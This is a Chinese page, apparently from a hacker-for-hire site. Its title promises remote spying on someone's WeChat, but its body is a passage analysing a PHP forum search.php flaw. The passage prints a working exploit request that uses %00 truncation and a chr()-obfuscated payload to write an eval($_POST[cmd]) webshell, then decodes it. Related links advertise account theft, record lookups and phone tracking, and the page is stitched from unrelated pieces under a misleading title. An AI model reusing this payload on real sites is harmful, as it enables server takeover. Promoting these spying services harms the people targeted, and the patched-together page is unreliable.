如何远程查看别人微信(远程查看对象微信聊天

访客4年前关于黑客接单612

看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下。这个漏洞很巧妙、也很经典 :) GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 127.0.0.1 这是我抓包的文件,从抓包的文件里可以看出有三个变量:$keyword、$cachefile、$treadinfo。其中$keyword可以为任意关键字;$cachefile必须为一PHP文件,这个就是我们的PHP SHELL后面紧跟着%2500既为%00截断字符;$treadinfo就是生成木马的代码,我没解码,但猜测是把一句话木马写到另一个PHP文件的PHP代码。 PS:$treadinfo内容解码如下: &treadinfo=〈?fputs(fop en(./../../bbsdata/cn911.php,w),〈? eval($_POST[cmd]);?〉)?〉 好了以上就是抓包得到的分析 让我们看下seach.PHP的代码吧,找出漏洞具体在哪儿。 第N行代码如下: $keyword=safeconvert($keyword);//把一些字符过滤掉了$keyword=rawurldecode($keyword); $cachefile=rawurldecode($cachefile); rawurldecode 函数是对已编码的 URL 字符串进行解码,分别对$keyword和$cachefile进行URL 字符串进行解码。rawurldecode这个函数也是关键之一,%00 经过rawurldecode的包装后,在〈PHP5.0下可以饶过GPC=ON起到截断作用。 第N+N行代码如下 ..................... $keywordarray=explode("│",$keyword); $keycount=count($keywordarray); if($sch_area=="C"){ include’./require/schall.php’; }elseif($sch_area=="A"){ for ( $j = 0; $j 〈 $keycount; $j++){ $keywordarray[$j].="|";/*搜索作者准确匹配*/ } include’./require/schpart.php’; }else{ include’./require/schpart.php’; } if (!file_exists("userdata/cache/$cachefile.txt")){ showmsg("没 有 您 要 查 找 的 内 容 〈br〉〈br〉〈br〉〈a href=’search.php’〉继 续 搜 索〈/a〉〈/li〉〈/ul〉"); } ............................... 这里调用了schall.php或schpart.php文件,我们在看这个两个文件schall.php和schpart.php文件最后一行代码是: if($treadinfo) writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab"); 所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件,因为变量$treadinfo没初始化,可以自定义SHELL代码,而$cachefile又可以自定义一个PHP文件,后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。 到此漏洞产生的大致过程已经比较明确了 由于本人在网吧看的代码,也没具体测试。其中有些细节没指出,如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞 :)

相关文章

做奶茶的方法(教你在家做锅煮奶茶)

做奶茶的方法(教你在家做锅煮奶茶)

做奶茶的方法(教你在家做锅煮奶茶)我很少买奶茶喝,想喝了从来都是自己动手煮。各种口味的奶茶,几乎都有涉猎。尤其是在冬日里,听着音乐,在饭香氤氲的厨房里,悠闲地给自己煮上一小壶奶茶,热汽腾腾,奶香中还飘...

2019年黑客大战谁赢了,找黑客手机号码定位软件下载,找黑客帮我盗QQ号

-d约束同一字符接连呈现的数量,-d2表明约束一个字符最多接连呈现2次如aabd,ccda。 aaab就表明超越了2个字符接连的约束了。 随意看了下几个 PHP,发现一个盲注。...

怎么删除多余的word空白文档(word文档如何做目录

我也不知道你有没有注意到,在我们在解决一个较长的Word文本文档的情况下,你能发觉难以避免的会几个空缺的Word网页页面,这确实很令人头痛! 因此 今日,我将教你一直在这类状况下怎样删除空白页!像盆...

24小时接单的顶级黑客2020年

  24小时黑客在线黑客QQ 代查微信记录,查酒店记录,查宾馆记录,查通话记录,定位查找,各种密码查询,等等黑科技业务!帮助有需要的人。  有许多尺码的微波炉,平凡和微波炉的种别有关。微波炉平凡分为台...

宝宝睡觉可以用拉拉裤吗 拉拉裤晚上漏尿的原因是什么

宝宝睡觉可以用拉拉裤吗 拉拉裤晚上漏尿的原因是什么

大伙儿感觉拉拉裤非常好用,会常常给孩子用,有的小孩睡觉了能够 衣着拉拉裤吗,入睡情况下用拉拉裤怎么样呢,我就而言说。 婴儿睡觉可以用拉拉裤吗  拉拉裤是一个新式的商品,拉拉裤不但具备防尿作用,...

蚂蚁庄园8月6日小鸡宝宝考考你:蚂蚁庄园的周年庆是哪一天?

蚂蚁庄园8月6日小鸡宝宝考考你:蚂蚁庄园的周年庆是哪一天?

今天是8月6日,支付宝的蚂蚁庄园小课堂再次更新问题,今天的问题是【蚂蚁庄园的周年庆是哪一天?】答对就可以领取180g饲料喂养小鸡,那么小编就为大家分享支付宝小鸡蚂蚁庄园今天答案吧! 支付宝蚂蚁庄...